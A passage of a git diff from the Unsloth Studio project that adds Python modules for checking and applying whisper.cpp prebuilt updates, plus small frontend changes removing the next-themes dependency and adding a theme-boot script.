         f"cxx11abi{env['cxx11abi']}-{env['python_tag']}-{env['python_tag']}"
         f"-{env['platform_tag']}.whl"
     )
@@ -152,7 +168,7 @@ def flash_attn_package_version(torch_mm: str) -> str | None:
 def flash_attn_wheel_url(env: dict[str, str] | None) -> str | None:
     if env is None:
         return None
-    package_version = flash_attn_package_version(env["torch_mm"])
+    package_version = flash_attn_package_version(prebuilt_wheel_torch_mm(env["torch_mm"]))
     if package_version is None:
         return None
     return direct_wheel_url(
diff --git a/studio/backend/utils/whisper_cpp_freshness.py b/studio/backend/utils/whisper_cpp_freshness.py
new file mode 100644
index 0000000000..59749455b1
--- /dev/null
+++ b/studio/backend/utils/whisper_cpp_freshness.py
@@ -0,0 +1,254 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""whisper.cpp prebuilt freshness check.
+
+Reads UNSLOTH_WHISPER_PREBUILT_INFO.json (written by install_whisper_prebuilt.py)
+and compares the installed release tag against the latest on GitHub. Surfaced via
+utils.whisper_cpp_update (GET /api/whisper/update-status and the combined
+llama+whisper update status). Fails open on any missing data so we never show a
+misleading banner.
+
+The mechanics (marker walk-up, GitHub fetch, memo + disk cache, report skeleton)
+live in utils.prebuilt.freshness_flow; this module keeps the whisper version
+policy and the per-module caches its tests patch.
+"""
+
+from __future__ import annotations
+
+import re
+from datetime import datetime
+from pathlib import Path
+from typing import Optional
+
+import structlog
+
+from utils.prebuilt import freshness_flow as _flow
+from utils.prebuilt.whisper_layout import lookup_marker
+
+logger = structlog.get_logger(__name__)
+
+# 3 days matches Unsloth's typical whisper.cpp release cadence.
+STALENESS_THRESHOLD_DAYS = 3
+
+_INSTALL_MARKER_NAME = "UNSLOTH_WHISPER_PREBUILT_INFO.json"
+
+_marker_cache: dict[str, Optional[dict]] = {}
+_release_memo: dict[str, tuple[float, Optional[str]]] = {}
+# Newest-release asset sizes (name -> bytes), memoized like the tag (24h TTL).
+_assets_memo: dict[str, tuple[float, dict[str, int]]] = {}
+
+
+def _cache_dir() -> Path:
+    """Lazy import so tests can stub storage_roots."""
+    try:
+        from utils.paths.storage_roots import cache_root
+        return cache_root() / "whisper_cpp_freshness"
+    except Exception:
+        return Path.home() / ".unsloth" / "studio" / "cache" / "whisper_cpp_freshness"
+
+
+def read_install_marker(binary_path: Optional[str]) -> Optional[dict]:
+    """Walk up from binary_path to find UNSLOTH_WHISPER_PREBUILT_INFO.json.
+    None = no marker (source build / custom path) or invalid JSON."""
+    if not binary_path:
+        return None
+    cached = _marker_cache.get(binary_path)
+    if cached is not None or binary_path in _marker_cache:
+        return cached
+    marker = lookup_marker(binary_path).marker
+    _marker_cache[binary_path] = marker
+    return marker
+
+
+def _load_disk_cache(repo: str) -> Optional[tuple[float, Optional[str]]]:
+    return _flow.load_disk_cache(repo, _cache_dir())
+
+
+def _save_disk_cache(repo: str, latest_tag: Optional[str]) -> None:
+    _flow.save_disk_cache(
+        repo, latest_tag, _cache_dir(), log_message = "whisper freshness cache write failed"
+    )
+
+
+def _fetch_latest_release_tag(repo: str, timeout: float = 5.0) -> Optional[str]:
+    """Newest published release tag for `repo`, by publish time (see
+    freshness_flow for why this is not GitHub's /releases/latest pointer)."""
+    return _flow.fetch_latest_release_tag(
+        repo, timeout, log_message = "whisper freshness fetch failed"
+    )
+
+
+def latest_published_release(repo: str, *, force_refresh: bool = False) -> Optional[str]:
+    """Latest release tag for `repo`. Memo + disk-cached (24h TTL).
+    None when offline and never previously cached."""
+    return _flow.latest_published_release(
+        repo,
+        force_refresh = force_refresh,
+        memo = _release_memo,
+        cache_dir = lambda: _cache_dir(),
+        fetch = lambda r: _fetch_latest_release_tag(r),
+        save = lambda r, tag: _save_disk_cache(r, tag),
+    )
+
+
+def _fetch_latest_release_assets(repo: str, timeout: float = 5.0) -> Optional[dict[str, int]]:
+    """Asset name -> size (bytes) for the newest published release of `repo`,
+    selected exactly like _fetch_latest_release_tag. None on any failure."""
+    return _flow.fetch_latest_release_assets(
+        repo, timeout, log_message = "whisper freshness asset fetch failed"
+    )
+
+
+def latest_release_assets(repo: str, *, force_refresh: bool = False) -> Optional[dict[str, int]]:
+    """Newest-release asset sizes for `repo`, memoized (24h TTL). None when
+    offline and never fetched. In-memory only -- a restart simply re-fetches."""
+    return _flow.latest_release_assets(
+        repo,
+        force_refresh = force_refresh,
+        memo = _assets_memo,
+        fetch = lambda r: _fetch_latest_release_assets(r),
+    )
+
+
+def _asset_platform_suffix(asset: str, installed_tag: Optional[str]) -> Optional[str]:
+    """The tag-independent ``<os>-<arch>-<accel>.<ext>`` suffix identifying this
+    host's bundle, from stripping the ``whisper-<tag>-`` prefix off the installed
+    asset name. Falls back to anchoring on the platform token when the marker tag
+    does not line up with the asset's embedded tag."""
+    if isinstance(installed_tag, str) and installed_tag:
+        tag = installed_tag if installed_tag.startswith("v") else f"v{installed_tag}"
+        prefix = f"whisper-{tag}-"
+        if asset.startswith(prefix):
+            return asset[len(prefix) :]
+    m = re.search(r"-((?:linux|macos|windows)-.*)$", asset)
+    return m.group(1) if m else None
+
+
+def update_download_size_bytes(
+    marker: Optional[dict],
+    latest_tag: Optional[str],
+    repo: Optional[str],
+    *,
+    force_refresh: bool = False,
+) -> Optional[int]:
+    """Download size of the latest-release asset matching this host's installed
+    bundle (same platform/arch/accel suffix). None when there is no marker asset,
+    the latest assets can't be read, or no match.
+
+    Assets are named ``whisper-<tag>-<os>-<arch>-<accel>.<ext>`` and the fork
+    builds every slice itself, so only the publish repo is consulted (no
+    upstream/binary_repo passthrough)."""
+    if not marker or not latest_tag or not repo:
+        return None
+    installed_asset = marker.get("asset")
+    if not isinstance(installed_asset, str) or not installed_asset:
+        return None
+    suffix = _asset_platform_suffix(installed_asset, marker.get("release_tag"))
+    if not suffix:
+        return None
+    assets = latest_release_assets(repo, force_refresh = force_refresh)
+    if not assets:
+        return None
+    latest_v = latest_tag if latest_tag.startswith("v") else f"v{latest_tag}"
+    want = f"whisper-{latest_v}-{suffix}"
+    if want in assets:
+        return assets[want]
+    # Tag formatting can vary; fall back to the platform+accel suffix.
+    for name, size in assets.items():
+        if name.endswith(suffix):
+            return size
+    return None
+
+
+def parse_release_version(tag: object) -> Optional[tuple]:
+    """Comparable key ``(upstream_major, upstream_minor, upstream_patch,
+    unsloth_serial)`` for a tag like ``v1.9.1-unsloth.2``.
+
+    Tolerant of a leading ``v`` and a missing ``-unsloth.N`` suffix (serial then
+    0); the upstream version is padded to major/minor/patch. None when the version
+    component is not purely numeric."""
+    if not isinstance(tag, str):
+        return None
+    s = tag.strip()
+    if not s:
+        return None
+    if s[0] in ("v", "V"):
+        s = s[1:]
+    serial = 0
+    m = re.search(r"-unsloth\.(\d+)$", s)
+    if m:
+        serial = int(m.group(1))
+        s = s[: m.start()]
+    parts = s.split(".")
+    nums: list[int] = []
+    for part in parts:
+        if not part.isdigit():
+            return None
+        nums.append(int(part))
+    if not nums:
+        return None
+    while len(nums) < 3:
+        nums.append(0)
+    return (nums[0], nums[1], nums[2], serial)
+
+
+def is_behind(installed: Optional[str], latest: Optional[str]) -> bool:
+    """Whether `installed` is genuinely behind `latest`.
+
+    - identical tags -> not behind (clears the sticky banner post-update)
+    - both parse -> behind only when the latest version key is strictly greater
+      (a lower/equal version is never "behind" -> downgrade guard)
+    - either fails to parse and they differ -> behind (plain inequality)
+    """
+    if not installed or not latest:
+        return False
+    installed, latest = installed.strip(), latest.strip()
+    if installed == latest:
+        return False
+    installed_key, latest_key = parse_release_version(installed), parse_release_version(latest)
+    if installed_key is not None and latest_key is not None:
+        return latest_key > installed_key
+    # One side is unparseable and the tags already differ: treat as behind.
+    return True
+
+
+def check_prebuilt_freshness(
+    binary_path: Optional[str],
+    *,
+    threshold_days: int = STALENESS_THRESHOLD_DAYS,
+    now: Optional[datetime] = None,
+) -> dict:
+    """Returns {has_marker, stale, behind, installed_tag, latest_tag,
+    installed_at_utc, age_days, published_repo, threshold_days}.
+    behind = installed genuinely older than latest (see is_behind).
+    stale = behind AND age >= threshold.
+    Fails open on missing data (behind/stale stay False)."""
+    # The whisper marker records a single ``release_tag`` (e.g. v1.9.1-unsloth.2);
+    # both display and comparison use it directly.
+    return _flow.check_freshness(
+        binary_path,
+        threshold_days = threshold_days,
+        now = now,
+        read_marker = lambda p: read_install_marker(p),
+        latest_release = lambda repo: latest_published_release(repo),
+        behind = lambda installed, latest: is_behind(installed, latest),
+        display_tag = lambda marker: marker.get("release_tag"),
+        compare_tag = lambda marker: marker.get("release_tag"),
+    )
+
+
+def reset_caches(*, drop_disk: bool = False) -> None:
+    """Drop the in-memory freshness caches. The no-arg form is test-only.
+
+    With ``drop_disk = True`` also delete the on-disk 24h release cache. Used by
+    the post-install/update path: clearing memory alone leaves the stale
+    same-version value on disk, so an offline post-install GitHub refresh would
+    replay it (latest_published_release's last-good fallback) and the banner could
+    linger. Dropping the disk cache makes latest read None in that offline case,
+    so the banner fails open (off) rather than point at the just-replaced build."""
+    _flow.reset_caches(
+        (_marker_cache, _release_memo, _assets_memo),
+        drop_disk = drop_disk,
+        cache_dir = lambda: _cache_dir(),
+    )
diff --git a/studio/backend/utils/whisper_cpp_update.py b/studio/backend/utils/whisper_cpp_update.py
new file mode 100644
index 0000000000..cac37c25fc
--- /dev/null
+++ b/studio/backend/utils/whisper_cpp_update.py
@@ -0,0 +1,490 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""In-app whisper.cpp prebuilt update.
+
+Builds on utils.whisper_cpp_freshness (which detects whether a newer prebuilt
+release exists) and adds the *apply* half: run install_whisper_prebuilt.py to
+download the newest bundle for this host and atomically swap it in, so the next
+model load uses it. Applies only run as the whisper phase of the combined
+llama+whisper update (utils.llama_cpp_update.start_update chains
+run_chained_phase); there is no standalone whisper update trigger.
+
+Design notes:
+- Detection is delegated to check_prebuilt_freshness(). We surface an
+  ``update_available`` flag (installed_tag != latest_tag), laxer than freshness'
+  ``stale`` (which also requires the install to be >= 3 days old). The UI shows
+  the single main update item on update_available.
+- Everything fails open: a missing marker / offline GitHub / source build just
+  reports update_available=False and never blocks the app.
+- The mechanics (managed-root resolution, local-link detection, the resolve
+  probe, the streamed installer run) live in utils.prebuilt.update_flow; this
+  module keeps the whisper policy. The ``job`` dict in the status payload stays
+  idle (kept for response-shape stability): chained applies report progress
+  through the llama job.
+"""
+
+from __future__ import annotations
+
+import os
+import re
+import subprocess
+import sys
+import threading
+from pathlib import Path
+from typing import Optional
+
+import structlog
+
+from utils.prebuilt import update_flow as _flow
+from utils.prebuilt.whisper_layout import canonical_install_root
+from utils.whisper_cpp_freshness import (
+    _INSTALL_MARKER_NAME,
+    check_prebuilt_freshness,
+    is_behind,
+    latest_published_release,
+    latest_release_assets,
+    parse_release_version,
+    read_install_marker,
+    reset_caches,
+    update_download_size_bytes,
+)
+
+logger = structlog.get_logger(__name__)
+
+DEFAULT_PUBLISHED_REPO = "unslothai/whisper.cpp"
+_INSTALL_TIMEOUT_SECONDS = 1800  # 30 min ceiling for download + extract/validate
+
+# Always-idle job payload: whisper applies run inside the chained llama job, so
+# nothing flips this to running. Kept so status payload shapes stay stable.
+_job_lock = threading.Lock()
+_job: dict = _flow.new_job()
+
+_rocm_install_args = _flow.rocm_install_args
+
+
+def _find_binary() -> Optional[str]:
+    """Locate the active whisper-server binary via the STT sidecar's own resolver
+    so update targets exactly what Unsloth runs. Lazy import keeps the heavy
+    inference module off this module's import path."""
+    try:
+        from core.inference.stt_ggml_sidecar import find_whisper_server_binary
+        return find_whisper_server_binary()
+    except Exception as exc:  # pragma: no cover - defensive
+        logger.debug("whisper update: binary discovery failed", error = str(exc))
+        return None
+
+
+def _install_dir_for(binary_path: Optional[str]) -> Optional[Path]:
+    """The directory holding UNSLOTH_WHISPER_PREBUILT_INFO.json: the install root
+    install_whisper_prebuilt.py wrote (``<install-dir>`` whose canonical server is
+    ``build/bin/whisper-server``) and the one we re-install into."""
+    root = canonical_install_root(binary_path)
+    if root is not None and (root / _INSTALL_MARKER_NAME).is_file():
+        return root
+    return _flow.install_dir_for(binary_path, marker_name = _INSTALL_MARKER_NAME)
+
+
+def _installer_script() -> Optional[Path]:
+    """Locate install_whisper_prebuilt.py (UNSLOTH_WHISPER_INSTALLER wins)."""
+    return _flow.find_installer_script(
+        env_var = "UNSLOTH_WHISPER_INSTALLER", script_name = "install_whisper_prebuilt.py"
+    )
+
+
+# Markerless (source-build) installs have no UNSLOTH_WHISPER_PREBUILT_INFO.json,
+# so we ask the installer whether an official prebuilt now exists for this host.
+_resolve_memo: dict = {}
+
+
+def _resolve_prebuilt_for_host(
+    *, force_refresh: bool = False, backend: Optional[str] = None
+) -> Optional[dict]:
+    """Run install_whisper_prebuilt.py --resolve-prebuilt (no download); return
+    {prebuilt_available, repo, release_tag, upstream_tag, backend, asset, os,
+    arch, ...} or None. Fail-open: any error -> None so a source build never
+    blocks the app."""
+    extra_args = ("--backend", backend) if backend else ()
+    return _flow.resolve_prebuilt_for_host(
+        force_refresh = force_refresh,
+        memo = _resolve_memo,
+        installer_script = lambda: _installer_script(),
+        log_message = "whisper update: resolve-prebuilt failed",
+        extra_args = extra_args,
+    )
+
+
+def _installed_whisper_version(binary: Optional[str]) -> Optional[str]:
+    """Best-effort ``v<A.B.C>`` from ``whisper-server --version``. None when the
+    binary is missing, reports no version, or cannot run. Used only for the
+    markerless source-build downgrade guard, so it fails open to None."""
+    if not binary:
+        return None
+    try:
+        proc = subprocess.run([binary, "--version"], capture_output = True, text = True, timeout = 20)
+    except Exception:  # pragma: no cover - defensive
+        return None
+    m = re.search(r"v?(\d+\.\d+\.\d+)", (proc.stderr or "") + (proc.stdout or ""))
+    if not m:
+        return None
+    return f"v{m.group(1)}"
+
+
+def _whisper_install_root(binary: Optional[str]) -> Optional[Path]:
+    """The Unsloth-managed whisper.cpp root the active binary lives under, or None
+    when the binary is unmanaged (see update_flow.managed_install_root)."""
+    return _flow.managed_install_root(
+        binary,
+        marker_root = _install_dir_for(binary),
+        server_path_var = "WHISPER_SERVER_PATH",
+        cpp_path_var = "UNSLOTH_WHISPER_CPP_PATH",
+        dir_name = "whisper.cpp",
+    )
+
+
+def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:
+    """Update status for a markerless (source-build) install: offer the official
+    prebuilt when one exists for this host and is newer than the installed binary.
+    None -> caller falls through to the no-marker default (unsupported)."""
+    res = _resolve_prebuilt_for_host(force_refresh = force_refresh)
+    if not res or not res.get("prebuilt_available"):
+        return None
+    release_tag = res.get("release_tag")
+    if not release_tag:
+        return None
+    # No resolvable install root (e.g. a pinned WHISPER_SERVER_PATH we cannot
+    # manage) means an apply would not take effect, so do not offer it.
+    if _whisper_install_root(binary) is None:
+        return None
+    installed_tag = _installed_whisper_version(binary)
+    installed_key = parse_release_version(installed_tag) if installed_tag else None
+    latest_key = parse_release_version(release_tag)
+    if installed_key is None or latest_key is None:
+        # Unknown installed/latest version (involuntary source-build case): treat
+        # as behind so we still offer the prebuilt.
+        update_available = True
+    else:
+        # Same downgrade guard as is_behind: only a strictly newer key is behind.
+        update_available = latest_key > installed_key
+    latest = release_tag
+    # Size of the resolved prebuilt, so source builds show it like the marker
+    # path. Fails open to None (offline / asset absent from release).
+    update_size_bytes = None
+    if update_available:
+        asset_name = res.get("asset")
+        if isinstance(asset_name, str) and asset_name:
+            try:
+                assets = latest_release_assets(res.get("repo"), force_refresh = force_refresh)
+                if assets:
+                    update_size_bytes = assets.get(asset_name)
+            except Exception as exc:  # pragma: no cover - network defensive
+                logger.debug("whisper update: source-build size lookup failed", error = str(exc))
+    with _job_lock:
+        job = dict(_job)
+    return {
+        "supported": True,
+        "update_available": update_available,
+        "stale": False,
+        "installed_tag": installed_tag,
+        "latest_tag": latest,
+        "published_repo": res.get("repo"),
+        "installed_at_utc": None,
+        "age_days": None,
+        "source_build": True,
+        "update_size_bytes": update_size_bytes,
+        "job": job,
+    }
+
+
+def _active_install_is_local_link(binary: Optional[str]) -> bool:
+    """True when the active whisper-server resolves through a locally-linked
+    whisper.cpp directory (see update_flow.active_install_is_local_link)."""
+    return _flow.active_install_is_local_link(binary, dir_name = "whisper.cpp")
+
+
+def _local_link_status() -> dict:
+    """Status payload for a local-link install: unmanaged, no update offered."""
+    return _flow.local_link_status(_job, _job_lock)
+
+
+def get_update_status(*, force_refresh: bool = False) -> dict:
+    """Report whether a newer prebuilt exists plus the current job state.
+
+    force_refresh bypasses the 24h release cache for an explicit "check now".
+    """
+    binary = _find_binary()
+    # A locally-linked whisper.cpp dir is the user's own tree; never offer to
+    # replace it. Bail before any network/freshness work.
+    if _active_install_is_local_link(binary):
+        return _local_link_status()
+    marker = read_install_marker(binary)
+
+    # No marker = source build / custom path. Offer the official prebuilt if one
+    # exists for this host.
+    if marker is None and binary is not None:
+        src = _source_build_status(binary, force_refresh = force_refresh)
+        if src is not None:
+            return src
+
+    repo = (marker or {}).get("published_repo") or DEFAULT_PUBLISHED_REPO
+
+    if force_refresh and repo:
+        # Prime the cache so the freshness read below sees the newest tag.
+        try:
+            latest_published_release(repo, force_refresh = True)
+        except Exception as exc:  # pragma: no cover - network defensive
+            logger.debug("whisper update: force refresh failed", error = str(exc))
+
+    freshness = check_prebuilt_freshness(binary)
+    installed = freshness.get("installed_tag")
+    latest = freshness.get("latest_tag")
+    compatible_override = False
+    if sys.platform == "darwin" and marker is not None:
+        # The newest published release may require a newer macOS. Ask the same
+        # host-aware resolver the installer uses so the banner compares against
+        # the newest release this host can actually install, avoiding a repeated
+        # offer of an incompatible release after walkback.
+        resolved = _resolve_prebuilt_for_host(
+            force_refresh = force_refresh,
+            backend = marker.get("backend") if isinstance(marker.get("backend"), str) else None,
+        )
+        compatible_latest = (resolved or {}).get("release_tag")
+        if (resolved or {}).get("prebuilt_available") and isinstance(compatible_latest, str):
+            compatible_override = compatible_latest != latest
+            latest = compatible_latest
+    # `behind` compares the release version with a downgrade guard, so a lagging
+    # /releases/latest or lower published tag can't show a false update
+    # (whisper_cpp_freshness.is_behind).
+    update_available = bool(
+        freshness.get("has_marker")
+        and (
+            is_behind(installed, latest)
+            if sys.platform == "darwin" and marker is not None
+            else freshness.get("behind")
+        )
+    )
+
+    # Size of the prebuilt Update would download, for the banner. Only when an
+    # update is offered; fails open to None (offline / no matching asset).
+    update_size_bytes = None
+    if update_available and not compatible_override:
+        try:
+            update_size_bytes = update_download_size_bytes(
+                marker,
+                latest,
+                freshness.get("published_repo") or repo,
+                force_refresh = force_refresh,
+            )
+        except Exception as exc:  # pragma: no cover - network defensive
+            logger.debug("whisper update: size lookup failed", error = str(exc))
+
+    with _job_lock:
+        job = dict(_job)
+
+    return {
+        "supported": bool(freshness.get("has_marker")),
+        "update_available": update_available,
+        "stale": bool(update_available and freshness.get("stale")),
+        "installed_tag": installed,
+        "latest_tag": latest,
+        "published_repo": freshness.get("published_repo") or repo,
+        "installed_at_utc": freshness.get("installed_at_utc"),
+        "age_days": freshness.get("age_days"),
+        "source_build": False,
+        "update_size_bytes": update_size_bytes,
+        "job": job,
+    }
+
+
+def _install_latest(
+    install_dir: Path,
+    repo: str,
+    asset: Optional[str],
+    backend: Optional[str],
+    script: Path,
+    set_progress,
+    pin_release_tag: Optional[str] = None,
+) -> dict:
+    """Replace whisper.cpp while the sidecar blocks every new load."""
+    try:
+        from core.inference.stt_ggml_sidecar import get_ggml_stt_sidecar
+        sidecar = get_ggml_stt_sidecar()
+    except Exception as exc:
+        # Replacing the tree without the singleton's maintenance barrier would
+        # reopen the Windows executable-lock and stale-process races. Fail closed.
+        raise RuntimeError("could not coordinate the whisper.cpp sidecar update") from exc
+
+    # update_maintenance publishes its guard before waiting for an existing
+    # transcription, unloads the warm server, and holds the sidecar lock across
+    # the complete atomic install. No new process can relock or outlive the tree.
+    with sidecar.update_maintenance() as model_was_active:
+        return _install_latest_while_blocked(
+            install_dir,
+            repo,
+            asset,
+            backend,
+            script,
+            set_progress,
+            pin_release_tag = pin_release_tag,
+            model_was_active = model_was_active,
+        )
+
+
+def _install_latest_while_blocked(
+    install_dir: Path,
+    repo: str,
+    asset: Optional[str],
+    backend: Optional[str],
+    script: Path,
+    set_progress,
+    *,
+    pin_release_tag: Optional[str],
+    model_was_active: bool,
+) -> dict:
+    """Run the installer with the sidecar already in update maintenance."""
+
+    cmd = [
+        sys.executable,
+        str(script),
+        "--install-dir",
+        str(install_dir),
+        "--whisper-tag",
+        "latest",
+        "--published-repo",
+        repo,
+    ]
+    # Preserve the installed accelerator across updates. Left unpinned the
+    # installer re-detects the host, fine on unchanged hardware but able to
+    # reroute a deliberate choice (e.g. cpu on a GPU box); forwarding the marker's
+    # backend keeps the same slice.
+    if isinstance(backend, str) and backend:
+        cmd.extend(["--backend", backend])
+    if pin_release_tag:
+        cmd.extend(["--published-release-tag", pin_release_tag])
+    cmd.extend(_rocm_install_args(asset))
+    logger.info("whisper update: installing", cmd = " ".join(cmd))
+    env = dict(os.environ, UNSLOTH_PROGRESS_PERCENT_STEP = "5")
+    # Every nonzero exit is a failed phase. In particular, exit 2 means the
+    # requested release was incompatible and no install happened, so reporting
+    # success would hide the banner and toast an update that never landed.
+    _flow.stream_installer(
+        cmd,
+        env,
+        set_progress = set_progress,
+        timeout_seconds = _INSTALL_TIMEOUT_SECONDS,
+    )
+
+    # Drop stale caches so the banner re-checks the swapped marker. If GitHub is
+    # offline, latest stays unknown and the banner fails open.
+    reset_caches(drop_disk = True)
+    try:
+        latest_published_release(repo, force_refresh = True)
+    except Exception as exc:  # pragma: no cover - network defensive
+        logger.debug("whisper update: post-install freshness refresh failed", error = str(exc))
+    new_marker = read_install_marker(_find_binary())
+    new_tag = (new_marker or {}).get("release_tag")
+    logger.info("whisper update: success", to_tag = new_tag)
+    return {
+        "to_tag": new_tag,
+        "reload_required": model_was_active,
+        "message": (
+            f"Updated whisper.cpp to {new_tag}."
+            + (" Reload your model to use it." if model_was_active else "")
+        ),
+    }
+
+
+def chained_phase_plan(
+    *, force_refresh: bool = False, paired_llama_will_update: bool = False
+) -> dict:
+    """Whisper's side of the combined llama+whisper update item.
+
+    Returns {status, update_available, skip_reason, phase}: `status` is the
+    marker-path status dict (or a minimal one when whisper is skipped),
+    `update_available` says the chained apply would run a whisper phase, and
+    `phase` carries what run_chained_phase needs. Only marker-managed installs are
+    chained: local links, source builds and unmanaged/pinned paths are silently
+    skipped so whisper can never block a llama update. Never raises; failures
+    degrade to a skip."""
+    binary = _find_binary()
+    if _active_install_is_local_link(binary):
+        return {
+            "status": _local_link_status(),
+            "update_available": False,
+            "skip_reason": "local_link",
+            "phase": None,
+        }
+    marker = read_install_marker(binary)
+    if marker is None:
+        # No marker: whisper is absent or a source/custom build. The standalone
+        # utils API can update source builds; the chain does not.
+        return {
+            "status": None,
+            "update_available": False,
+            "skip_reason": "source_build" if binary else "not_installed",
+            "phase": None,
+        }
+    status = get_update_status(force_refresh = force_refresh)
+    plan: dict = {"status": status, "update_available": False, "skip_reason": None, "phase": None}
+    if not status.get("update_available"):
+        # Skew note: when llama just updated but whisper is already latest, a slim
+        # install keeps hardlinks to the OLD llama ggml inodes -- still the exact
+        # build whisper was installed against, so skipping is correct and needs no
+        # re-wiring. A whisper phase that does run re-wires via the installer
+        # (prepare_runtime_payload).
+        plan["skip_reason"] = "up_to_date"
+        return plan
+    if marker.get("install_kind") == "slim" and not paired_llama_will_update:
+        # A slim install can only be refreshed from a completed managed llama
+        # prebuilt. Ask the installer through its read-only resolver so local
+        # links, markerless/current source builds, and incomplete managed trees
+        # never produce an Update button that can only fail. When the llama
+        # phase will run first, it supplies the repaired pairing instead.
+        resolved = _resolve_prebuilt_for_host(
+            force_refresh = force_refresh,
+            backend = marker.get("backend") if isinstance(marker.get("backend"), str) else None,
+        )
+        if not (resolved or {}).get("prebuilt_available"):
+            plan["skip_reason"] = "paired_llama_unavailable"
+            return plan
+    script = _installer_script()
+    if script is None:
+        plan["skip_reason"] = "installer_missing"
+        return plan
+    install_dir = _install_dir_for(binary)
+    if install_dir is None:
+        plan["skip_reason"] = "no_install_dir"
+        return plan
+    plan["update_available"] = True
+    plan["phase"] = {
+        "install_dir": install_dir,
+        "repo": marker.get("published_repo") or DEFAULT_PUBLISHED_REPO,
+        "asset": marker.get("asset"),
+        "backend": marker.get("backend"),
+        "script": script,
+        # Install exactly the release the check offered: the installer's unpinned
+        # "latest" prefers the download-host /releases/latest pointer, which sorts
+        # by commit date and can lag the published_at pick the freshness check
+        # used, reinstalling an older build in a loop (the #6219 class the llama
+        # phase pins against). Not on macOS: the llama phase is unpinned there
+        # (walk-back to an os-compatible release), so pinning whisper to the
+        # newest tag could be an impossible pairing (min_os / requires_llama_tag)
+        # on every retry.
+        "pin_release_tag": None if sys.platform == "darwin" else status.get("latest_tag"),
+    }
+    return plan
+
+
+def run_chained_phase(phase: dict, set_progress) -> dict:
+    """Run the whisper phase of a combined update (spec from chained_phase_plan):
+    same unload/install/cache-refresh path as the standalone job, reporting
+    progress through the chained job's window rather than whisper's own."""
+    return _install_latest(
+        phase["install_dir"],
+        phase["repo"],
+        phase["asset"],
+        phase["backend"],
+        phase["script"],
+        set_progress,
+        pin_release_tag = phase.get("pin_release_tag"),
+    )
diff --git a/studio/frontend/.npmrc b/studio/frontend/.npmrc
index 19783b5ff4..414379da6e 100644
--- a/studio/frontend/.npmrc
+++ b/studio/frontend/.npmrc
@@ -1,4 +1,4 @@
-# Studio frontend npm configuration.
+# Unsloth frontend npm configuration.
 #
 # Mini Shai-Hulud / Axios-style supply chain defense.
 # Requires npm >=11.10.0. Refuses tarballs published less than 7 days ago,
diff --git a/studio/frontend/index.html b/studio/frontend/index.html
index 0fbb4eaeeb..6a7eadc04e 100644
--- a/studio/frontend/index.html
+++ b/studio/frontend/index.html
@@ -8,6 +8,9 @@
     <link rel="icon" type="image/png" href="/favicon.png" />
     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
     <title>Unsloth Studio</title>
+    <!-- Applies the stored theme before the bundle loads; external file
+         because the backend CSP is script-src 'self'. -->
+    <script src="/theme-boot.js"></script>
   </head>
   <body>
     <div id="root"></div>
diff --git a/studio/frontend/package-lock.json b/studio/frontend/package-lock.json
index 80db64553a..1d5c09ba72 100644
--- a/studio/frontend/package-lock.json
+++ b/studio/frontend/package-lock.json
@@ -53,7 +53,6 @@
         "lucide-react": "^1.7.0",
         "mammoth": "^1.11.0",
         "motion": "^12.34.0",
-        "next-themes": "^0.4.6",
         "node-forge": "^1.4.0",
         "radix-ui": "^1.4.3",
         "react": "^19.2.4",
@@ -1704,7 +1703,6 @@
       "os": [
         "android"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1725,7 +1723,6 @@
       "os": [
         "darwin"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1746,7 +1743,6 @@
       "os": [
         "darwin"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1767,7 +1763,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1788,7 +1783,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1809,7 +1803,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1830,7 +1823,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1851,7 +1843,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1872,7 +1863,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1893,7 +1883,6 @@
       "os": [
         "win32"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1914,7 +1903,6 @@
       "os": [
         "win32"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -12570,16 +12558,6 @@
         "node": ">= 0.6"
       }
     },
-    "node_modules/next-themes": {
-      "version": "0.4.6",
-      "resolved": "https://registry.npmjs.org/next-themes/-/next-themes-0.4.6.tgz",
-      "integrity": "sha512-pZvgD5L0IEvX5/9GWyHMf3m8BKiVQwsCMHfoFosXtXBMnaS0ZnIJ9ST4b4NqLVKDEm8QBxoNNGNaBv2JNF6XNA==",
-      "license": "MIT",
-      "peerDependencies": {
-        "react": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc"
-      }
-    },
     "node_modules/node-domexception": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz",
diff --git a/studio/frontend/package.json b/studio/frontend/package.json
index a2eddecda3..fc6911c4be 100644
--- a/studio/frontend/package.json
+++ b/studio/frontend/package.json
@@ -62,7 +62,6 @@
     "lucide-react": "^1.7.0",
     "mammoth": "^1.11.0",
     "motion": "^12.34.0",
-    "next-themes": "^0.4.6",
     "node-forge": "^1.4.0",
     "radix-ui": "^1.4.3",
     "react": "^19.2.4",
diff --git a/studio/frontend/public/theme-boot.js b/studio/frontend/public/theme-boot.js
new file mode 100644
index 0000000000..70bd93e0e1
--- /dev/null
+++ b/studio/frontend/public/theme-boot.js
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
